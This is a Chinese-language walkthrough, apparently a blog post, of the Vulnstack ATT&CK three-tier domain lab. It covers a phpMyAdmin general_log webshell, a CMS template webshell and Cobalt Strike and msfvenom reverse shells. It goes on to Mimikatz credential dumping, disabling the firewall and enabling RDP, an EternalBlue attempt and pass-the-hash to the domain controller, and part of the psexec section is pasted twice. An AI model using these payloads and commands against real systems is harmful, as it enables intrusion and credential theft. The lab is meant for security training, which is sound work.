ATTCK实战系列-Vulnstack三层网络域渗透靶场(一)

ATT&CK实战系列-Vulnstack三层网络域渗透靶场(一)

  • 一、环境搭建
    • 1.1 靶场拓扑图
    • 1.2 靶场下载链接
    • 1.3 虚拟机配置
      • 1.3.1 Windows 7 (web服务器)
      • 1.3.2 Windows 2008 (域控)
      • 1.3.3 Win2k3 (域内主机)
  • 二、外网打点突破
    • 2.1 信息搜集
    • 2.2 phpmyadmin 后台 Getshell
      • 2.2.1 尝试select into outfile直接写入
      • 2.2.2 尝试开启全局日志getshell
    • 2.3 yxcms后台上传Getshell
  • 三、内网搜集
    • 3.1 靶机上线CS
    • 3.2 内网信息搜集
    • 3.3 rdp远程登陆win7
  • 四、内网渗透
    • 4.1 反弹win7的shell
    • 4.2 MSF简单利用
    • 4.3 添加路由
    • 4.4 内网端口扫描
    • 4.5 MSF进行ms17-010攻击(未成功)
      • 4.5.1 msf扫描模块探测是否存在ms17-010漏洞
      • 4.5.2 漏洞利用
    • 4.6 哈希传递攻击(PTH)拿下域控
      • 4.6.1 CS哈希传递攻击利用
      • 4.6.2 MSF哈希传递攻击

一、环境搭建

1.1 靶场拓扑图

在这里插入图片描述

1.2 靶场下载链接

靶场下载链接:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

1.3 虚拟机配置

VMnet3为内网网卡,VMnet8为外网网卡

请添加图片描述
ip配置:

kali (攻击机):192.168.111.128 (VMnet8 网卡分配的IP) Windows 7 (web服务器):192.168.111.132(外网和kali连通)、192.168.52.143(内网ip)
Windows 2008 (域控):192.168.52.138 
Win2k3 (域内主机):192.168.52.141

1.3.1 Windows 7 (web服务器)

192.168.111.132(外网和kali连通)、192.168.52.143(内网ip)
在这里插入图片描述
在这里插入图片描述

在主机上访问win7,可以正常访问到PHP探针,配置完成
在这里插入图片描述

1.3.2 Windows 2008 (域控)

192.168.52.138 ,默认配置完成

在这里插入图片描述

1.3.3 Win2k3 (域内主机)

192.168.52.141,默认配置完成

在这里插入图片描述

二、外网打点突破

2.1 信息搜集

首先访问web服务器win7的模拟外网ip–192.168.111.132

在外网站点有一个MySQL数据库连接:
在这里插入图片描述
尝试弱口令:root/root,显示连接正常,但是没有利用点
在这里插入图片描述
对192.168.111.132进行端口扫描,目录扫描

在这里插入图片描述
在这里插入图片描述

访问:http://192.168.111.132/phpMyAdmin,使用刚检测到的弱口令:root/root进行登录
在这里插入图片描述
在这里插入图片描述
可以看到还有一个newyxcms数据库,对应会有一个网站

2.2 phpmyadmin 后台 Getshell

phpmyadmin后台getshell的常用手段有以下几种方式:(挨个尝试)

1、select into outfile直接写入
2、开启全局日志getshell
3、使用慢查询日志getsehll
4、使用错误日志getshell
5、利用phpmyadmin4.8.x本地文件包含漏洞getshell

2.2.1 尝试select into outfile直接写入

执行sql语句: show variables like '%secure%';
在这里插入图片描述

发现没有写入权限,无法用select into outfile方法写入shell。

2.2.2 尝试开启全局日志getshell

先执行命令:show variables like '%general%'; 查看日志状态:
在这里插入图片描述
当开启 general_log 时,所执行的 SQL 语句都会出现在datastu1.log 文件中。修改 general_log_file 的值为一个php文件,进而可 Getshell

开启 general_log 日志 SET GLOBAL general_log='on'

指定日志写入到网站根目录的1.php 文件

SET GLOBAL general_log_file='C:/phpStudy/www/1.php'

在这里插入图片描述
设置完成之后,写入webshell到1.php文件中

执行 SQL 语句:SELECT '<?php eval($_POST["cmd"]);?>',即可将一句话木马写入 1.php 文件中
在这里插入图片描述
访问http://192.168.111.132/1.php 成功写入
在这里插入图片描述
使用蚁剑连接
在这里插入图片描述
连接成功
在这里插入图片描述

2.3 yxcms后台上传Getshell

在之前数据库中发现了yxcms的数据库,猜想会有yxcms网站,在拿下phpmyadmin后可以看到yxcms目录
访问/yxcms,在公告信息处,发现yxcms的后台登录路径以及用户名密码
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

登录成功!
登录到后台一般先找模板编辑的地方,然后写入一句话木马,直接getshell
在这里插入图片描述
刚好这里有模板文件,尝试新建或者在原有的模板文件中写入一句话木马,这里我选择新建一个模板文件中写入保存。
在这里插入图片描述
保存后,接下来就是找到写入文件1.php所在的路径,进行目录扫描

在这里插入图片描述
发现好多目录,这里我们发现这个cms存在目录遍历漏洞,根据phpmyadmin后台的地址也可以得到

在这里插入图片描述
在这里插入图片描述

连接成功!

三、内网搜集

我们在拿到的shell 执行 whoami 发现是administrator权限

在这里插入图片描述

3.1 靶机上线CS

在kali里 ./teamserver 192.168.111.128 root 运行cs服务

在这里插入图片描述
主机运行CS 客户端并连接 CS 服务端,配置好listener监听器之后,生成 exe后门程序

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

利用蚁剑 把生成的artifact.exe 上传到靶机上

在这里插入图片描述
在蚁剑终端里执行 artifact.exe 可以看到靶机上线到CS上

在这里插入图片描述
在这里插入图片描述

上线成功!

在CS客户端使用 Mimikatz 直接抓取本机用户密码:

在这里插入图片描述
这里抓取到密码之后,我们执行 net view 发现了域内另外俩台机器点击这里可以看到
在这里插入图片描述
在这里插入图片描述
可以利用抓取到的密码 psexec取login一下 监听器选 windows_smb/bind_pipe

在这里插入图片描述

在这里插入图片描述

可以看到域控的文件 我们可以进行上传文件操作,我们下面再看看其他方法 横向移动拿到域控和域内其他机器

3.2 内网信息搜集

接下来我们要做的就是信息收集,为之后的杀入内网做准备,

ipconfig /all   # 查看本机ip,所在域
route print     # 打印路由信息
arp -a          # 查看arp缓存
net start       # 查看开启了哪些服务
net share       # 查看开启了哪些共享
net share ipc$  # 开启ipc共享
net view                 # 查看局域网内其他主机名
net config Workstation   # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user                 # 查看本机用户列表
net user /domain         # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain         # 查看有几个域
net user 用户名 /domain   # 获取指定域用户的信息
net group /domain        # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain    # 查看域中某工作组
net group "domain admins" /domain  # 查看域管理员的名字
net group "domain computers" /domain  # 查看域中的其他主机名
net group "doamin controllers" /domain  # 查看域控制器主机名(可能有多台)

1、先判断是否存在域,使用 shell ipconfig /all 查看 DNS 服务器,发现主 DNS 后缀不为空,存在域god.org

在这里插入图片描述

也可以执行命令net config workstation 来查看当前计算机名、全名、用户名、系统版本、工作站、域、登录域等全面的信息
在这里插入图片描述

2、上面发现 DNS 服务器名为 god.org,当前登录域为 GOD 再执行net view /domain查看有几个域(可能有多个)

3、查看域的组账户信息(工作组)

在这里插入图片描述

4、既然只有一个域,那就利用 net group “domain controllers” /domain 命令查看域控制器主机名,直接确认域控主机的名称为 OWA

在这里插入图片描述
5、确认域控主机的名称为 OWA 再执行 net view 查看局域网内其他主机信息(主机名称、IP地址)
在这里插入图片描述

扫描出来 除了域控OWA 之外,还有一台主机ROOT-TVI862UBEH

至此内网域信息收集完毕,已知信息:域控主机:192.168.52.138,同时还存在一台域成员主机:192.168.52.141,接下来的目标就是横向渗透拿下域控

3.3 rdp远程登陆win7

Win7跳板机 默认是不开启3389的,同时还有防火墙

#注册表开启3389端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f#添加防火墙规则
netsh advfirewall firewall add rule name="Open 3389" dir=in action=allow protocol=TCP localport=3389#关闭防火墙
netsh firewall set opmode disable   			#winsows server 2003 之前
netsh advfirewall set allprofiles state off 	#winsows server 2003 之后

在这里插入图片描述
这里我们以域用户 administrator登录。
输入我们刚从CS上 mimikatz dump下来的密码Hongrisec@2019
在这里插入图片描述

在这里插入图片描述

远程连接成功!

四、内网渗透

4.1 反弹win7的shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.111.128 LPORT=1111 -f exe -o shell.exe #kali里生成msf后门文件 shell.exe
在这里插入图片描述
蚁剑上传到 win7上

在这里插入图片描述

kali里运行监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.111.128
set lport 1111
exploit 

在这里插入图片描述
蚁剑运行 shell.exe 得到meterpreter

在这里插入图片描述
在这里插入图片描述

4.2 MSF简单利用

获得 MSF 的会话后即可使用 MSF 集成的诸多强大功能模块和脚本。简单演示下,如调用post/windows/gather/checkvm判断靶机是否属于虚拟机(检查是否进入了蜜罐);

再如调用 post/windows/gather/enum_applications模块枚举列出安装在靶机上的应用程序;
在这里插入图片描述

4.3 添加路由

# 可以用模块自动添加路由
run post/multi/manage/autoroute
#添加一条路由
run autoroute -s 192.168.52.0/24
#查看路由添加情况
run autoroute -p

在这里插入图片描述

4.4 内网端口扫描

先执行background 命令将当前执行的 Meterpreter 会话切换到后台(后续也可执行sessions -i 重新返回会话),然后使用 MSF 自带 auxiliary/scanner/portscan/tcp 模块扫描内网域成员主机 192.168.52.141 开放的端口:

background
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.52.141
set ports 80,135-139,445,3306,3389
run

在这里插入图片描述

得知:192.168.52.141 win2003域成员机开启了 135、139、445端口

同理扫描一下域控

在这里插入图片描述

域控开启了80、135、139、445端口

4.5 MSF进行ms17-010攻击(未成功)

4.5.1 msf扫描模块探测是否存在ms17-010漏洞

对于开启了 445 端口的 Windows 服务器肯定是要进行一波永恒之蓝扫描尝试的,借助 MSF 自带的漏洞扫描模块进行扫描:

search ms17_010
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.52.141
set rhosts 192.168.52.138
run

在这里插入图片描述

域控和成员机可能都存在ms17-010漏洞

4.5.2 漏洞利用

use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp #内网环境,需要正向shell连接
set rhosts 192.168.52.138
run

利用失败

在这里插入图片描述

4.6 哈希传递攻击(PTH)拿下域控

上面既然通过永恒之蓝漏洞难以获得域控主机的 Shell,那就换一种攻击思路拿下域控吧,下面演示的是通过哈希传递攻击 PTH 拿下域控主机。

【哈希传递攻击】在 kerberos、NTLM 认证过程的关键,首先就是基于用户密码 Hash 的加密,所以在域渗透中,无法破解用户密码 Hash 的情况下,也可以直接利用 Hash 来完成认证,达到攻击的目的,这就是 hash 传递攻击(Pass The Hash,简称 PTH)。如果内网主机的本地管理员账户密码相同,那么可以通过 PTH 远程登录到任意一台主机,操作简单、威力无穷。

在域环境中,利用哈希传递攻击的渗透方式往往是这样的:

1. 获得一台域主机的权限,Dump 内存获得该主机的用户密码 Hash 值;
2. 通过哈希传递攻击尝试登录其他主机;
3. 继续搜集 Hash 并尝试远程登录,直到获得域管理员账户 Hash,登录域控,最终成功控制整个域。

下面使用 Metasploit/CS 来进行本靶场环境的进行 PTH 攻击演示:

4.6.1 CS哈希传递攻击利用

前面我们也有提到过,在win7 上线CS时,我们可以右键会话 ->执行 -> Run Mimikatz
直接借助 CS 进行用户哈希凭证窃取,详情见3.1

4.6.2 MSF哈希传递攻击

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.111.128
set lport 1111
exploit 
run windows/gather/smart_hashdump    #来进行hashdump

在这里插入图片描述
如果权限低,需要SYSTEM权限,可以直接getsystem 发现可以正常提权
提到SYSTEM权限之后再执行 run windows/gather/smart_hashdump

得到管理员的密码的hash

[+]Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+]liukaifeng01:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

但是这个只是用户密码的一个hash值,我们在msf里加载mimikatz模块
ps:ms6中 mimikatz模块已经合并为kiwi模块

load kiwicreds_all  #列举所有凭据
creds_kerberos  #列举所有kerberos凭据
creds_msv  #列举所有msv凭据
creds_ssp  #列举所有ssp凭据
creds_tspkg  #列举所有tspkg凭据
creds_wdigest  #列举所有wdigest凭据
dcsync  #通过DCSync检索用户帐户信息
dcsync_ntlm  #通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create  #创建黄金票据
kerberos_ticket_list  #列举kerberos票据
kerberos_ticket_purge  #清除kerberos票据
kerberos_ticket_use  #使用kerberos票据
kiwi_cmd  #执行mimikatz的命令,后面接mimikatz.exe的命令
lsa_dump_sam  #dump出lsa的SAM
lsa_dump_secrets  #dump出lsa的密文
password_change  #修改密码
wifi_list  #列出当前用户的wifi配置文件
wifi_list_shared  #列出共享wifi配置文件/编码

抓取用户hash
在这里插入图片描述

获得 NTLM Hash:4f1a2b2cf1dd79ae22a7f198412d7e51,在 Metasploit 中,经常使用于哈希传递攻击的模块有:

auxiliary/admin/smb/psexec_command   #在目标机器上执行系统命令
exploit/windows/smb/psexec           #用psexec执行系统命令
exploit/windows/smb/psexec_psh       #使用powershell作为payload

以exploit/windows/smb/psexec模块哈希传递攻击 Windows Server 2008 为例:

use exploit/windows/smb/psexec
set rhosts 192.168.52.138
set smbuser administrator
set smbpass 00000000000000000000000000000000:4f1a2b2cf1dd79ae22a7f198412d7e51
set smbdomain god
run

攻击失败

可以在CS里通过 PTH psexec成功拿下域控

min/smb/psexec_command   #在目标机器上执行系统命令
exploit/windows/smb/psexec           #用psexec执行系统命令
exploit/windows/smb/psexec_psh       #使用powershell作为payload

以exploit/windows/smb/psexec模块哈希传递攻击 Windows Server 2008 为例:

use exploit/windows/smb/psexec
set rhosts 192.168.52.138
set smbuser administrator
set smbpass 00000000000000000000000000000000:4f1a2b2cf1dd79ae22a7f198412d7e51
set smbdomain god
run

攻击失败

换一种方式:可以CS里通过 PTH psexec成功拿下域控
在这里插入图片描述
成功!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1542970.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

肾癌的多模态预测模型-临床-组织学-基因组

目录 摘要 技术路线 ① lncRNA的预测模型 ②病理 WSI 的分类器 ③临床病理分类器 模型结果 与别的模型比较 同行评审学习 1&#xff09;使用lncRNA的原因 2&#xff09;模型临床使用意义 3&#xff09;关于截止值的使用 摘要 A multi-classifier system integrated…

.NET常见的5种项目架构模式

前言 项目架构模式在软件开发中扮演着至关重要的角色&#xff0c;它们为开发者提供了一套组织和管理代码的指导原则&#xff0c;以提高软件的可维护性、可扩展性、可重用性和可测试性。 假如你有其他的项目架构模式推荐&#xff0c;欢迎在文末留言&#x1f91e;&#xff01;&a…

Java_Day04学习

类继承实例 package com.dx.test03; public class extendsTest {public static void main(String args[]) {// 实例化一个Cat对象&#xff0c;设置属性name和age&#xff0c;调用voice()和eat()方法&#xff0c;再打印出名字和年龄信息/********* begin *********/Cat cat ne…

实战OpenCV之直方图

基础入门 直方图是对数据分布情况的图形表示&#xff0c;特别适用于图像处理领域。在图像处理中&#xff0c;直方图通常用于表示图像中像素值的分布情况。直方图由一系列矩形条&#xff08;也被称为bin&#xff09;组成&#xff0c;每个矩形条的高度表示某个像素值&#xff08;…

鸿蒙设置,修改APP图标和名称

1、先看默认的图标和名称 2、打开项目开始设置自己需要的图标和名称 2.1找到 路径src\main\module.json5&#xff0c; 找到 abilities&#xff0c;下的&#xff0c;图标icon、名称label&#xff0c;label可以按住ctrl鼠标左键点击跳转 2.2先修改APP名称 1、ctrl鼠标左键点击…

华为OD机试 - 选修课(Python/JS/C/C++ 2024 E卷 100分)

华为OD机试 2024E卷题库疯狂收录中&#xff0c;刷题点这里 专栏导读 本专栏收录于《华为OD机试真题&#xff08;Python/JS/C/C&#xff09;》。 刷的越多&#xff0c;抽中的概率越大&#xff0c;私信哪吒&#xff0c;备注华为OD&#xff0c;加入华为OD刷题交流群&#xff0c;…

【C语言零基础入门篇 - 15】:单链表

文章目录 单链表链表的基本概念单链表功能的实现单链表的初始化单链表新结点的创建单链表头插法单链表的输出单链表的查找单链表修改单链表的删除单链表所有数据结点释放源代码 单链表 链表的基本概念 一、什么是链表&#xff1f; 链表是数据结构中线性表的一种&#xff0c;其…

华为OD机试 - 需要打开多少监控器(Java 2024 E卷 100分)

华为OD机试 2024E卷题库疯狂收录中&#xff0c;刷题点这里 专栏导读 本专栏收录于《华为OD机试&#xff08;JAVA&#xff09;真题&#xff08;E卷D卷A卷B卷C卷&#xff09;》。 刷的越多&#xff0c;抽中的概率越大&#xff0c;私信哪吒&#xff0c;备注华为OD&#xff0c;加…

软考高级:数据库保持函数依赖和有损无损分解 AI 解读

讲解 生活化例子 想象你经营着一家快餐店&#xff0c;店里有各种商品&#xff0c;你也记录了每天的销量。你有一个表格&#xff0c;记录了「商品名称」、「价格」、「库存数量」、「供应商信息」等数据。最开始&#xff0c;你可能把所有数据都写在一张表上&#xff0c;但时间…

2024年9月22日---关于MyBatis框架(1)

一 Mybatis概述 1.1 简介 MyBatis&#xff08;官网&#xff1a;mybatis – MyBatis 3 | 简介 &#xff09;是一款优秀的开源的 持久层 框架&#xff0c;用于简化JDBC的开发。是 Apache的一个开源项目iBatis&#xff0c;2010年这个项目由apache迁移到了google code&#xff0c…

PCL 随机下采样

目录 一、概述 1.1原理 1.2实现步骤 1.3应用场景 二、代码实现 2.1关键函数 2.2完整代码 三、实现效果 PCL点云算法汇总及实战案例汇总的目录地址链接&#xff1a; PCL点云算法与项目实战案例汇总&#xff08;长期更新&#xff09; 一、概述 随机下采样 是一种常用的点…

类和对象(2)(重点)

个人主页&#xff1a;Jason_from_China-CSDN博客 所属栏目&#xff1a;C系统性学习_Jason_from_China的博客-CSDN博客 所属栏目&#xff1a;C知识点的补充_Jason_from_China的博客-CSDN博客 类的默认成员函数 概念概述 默认成员函数就是用户没有显式实现&#xff0c;编译器会自…

项目扩展一:信道池的实现

项目扩展一&#xff1a;信道池的实现 一、为何要设计信道池1.引入信道的好处2.为何要设计信道池 二、信道池的设计1.服务器需要设计信道池吗&#xff1f;2.设计&#xff1a;动态变化的信道池1.为什么&#xff1f;2.怎么办&#xff1f;1.动态扩容和缩容2.LRU风格的信道置换3.小总…

0基础学习HTML(十三)布局

HTML 布局 网页布局对改善网站的外观非常重要。 请慎重设计您的网页布局。 如何使用 <table> 元素添加布局。 网站布局 大多数网站会把内容安排到多个列中&#xff08;就像杂志或报纸那样&#xff09;。 大多数网站可以使用 <div> 或者 <table> 元素来创建…

软件测试分类篇(下)

目录 一、按照测试阶段分类 1. 单元测试 2. 集成测试 3. 系统测试 3.1 冒烟测试 3.2 回归测试 4. 验收测试 二、按照是否手工测试分类 1. 手工测试 2. 自动化测试 3. 手工测试和自动化测试的优缺点 三、按照实施组织分类 1. α测试(Alpha Testing) 2. β测试(Beta…

【LTW】Domain General Face Forgery Detection by Learning to Weight

文章目录 Domain General Face Forgery Detection by Learning to Weightkey points方法LTW元分割策略学习过程损失函数实验评价结果消融实验总结Domain General Face Forgery Detection by Learning to Weight 会议:AAAI-21 作者: code: https://github.com/skJack/LTW 上…

理解JVM中的死锁:原因及解决方案

死锁是并发应用程序中的常见问题。在此类应用程序中&#xff0c;我们使用锁定机制来确保线程安全。此外&#xff0c;我们使用线程池和信号量来管理资源消耗。然而&#xff0c;在某些情况下&#xff0c;这些技术可能会导致死锁。 在本文中&#xff0c;我们将探讨死锁、死锁出现…

旋转机械故障诊断 震动故障分析与诊断

旋转机械故障诊断 机理资料整理 电气故障&#xff0c;机械故障(不平衡&#xff0c;不对中&#xff0c;松动&#xff0c;轴承&#xff0c;共振&#xff0c;流体振动&#xff0c;皮带松动)&#xff0c;低速与高速机器故障诊断等 旋转机械故障诊断&#xff1a;机理资料整理 目录…

河钢数字PMO牛红卫受邀为第四届中国项目经理大会演讲嘉宾

全国项目经理专业人士年度盛会 河钢数字技术股份有限公司项目管理部PMO牛红卫受邀为PMO评论主办的全国项目经理专业人士年度盛会——2024第四届中国项目经理大会演讲嘉宾&#xff0c;演讲议题为“从技术到领导力——项目经理成长进阶之道”。大会将于10月26-27日在北京举办&…

数据结构——串的模式匹配算法(BF算法和KMP算法)

算法目的&#xff1a; 确定主串中所含子串&#xff08;模式串&#xff09;第一次出现的位置&#xff08;定位&#xff09; 算法应用&#xff1a; 搜索引擎、拼写检查、语言翻译、数据压缩 算法种类&#xff1a; BF算法&#xff08;Brute-Force&#xff0c;又称古典的…